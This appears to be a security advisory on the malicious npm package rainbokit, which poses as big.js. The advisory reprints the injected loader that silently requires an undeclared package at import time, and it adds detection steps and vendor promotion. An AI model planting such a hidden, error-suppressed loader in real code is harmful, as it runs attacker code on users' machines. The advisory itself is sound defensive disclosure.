rainbokitnpm
Malicious code in rainbokit (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package publishes as rainbokit but ships a verbatim copy of the legitimate big.js library (matching author, repository URL, README, LICENCE, and keywords) so that an installer inspecting the on-disk package cannot distinguish it from genuine big.js. Both big.js (~line 488) and big.mjs contain an injected block try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { } inserted into the middle of the otherwise-unmodified big.js source. When a consumer does require('rainbokit') or import 'rainbokit', this block runs parket-slot.from_str() — code controlled by the attacker. The require is wrapped in an empty try/catch and the resulting promise's rejection handler is also empty, so any error is silently swallowed (anti-detection). parket-slot is not declared in dependencies; the only declared dependency is log-taker@^0.0.9, which is never referenced from the visible code. This declared-but-unused / used-but-undeclared split is consistent with a multi-package staging campaign where the attacker resolves parket-slot and log-taker from sibling packages they control. The combination of identity spoofing of a popular package, hidden second-stage loader fired at import time, and silent error suppression demonstrates intent to execute attacker-controlled code on installer machines.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rainbokit (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rainbokit across your stack and pipelines.
If you installed it — respond
Remove rainbokit from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If rainbokit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks rainbokit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks rainbokit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.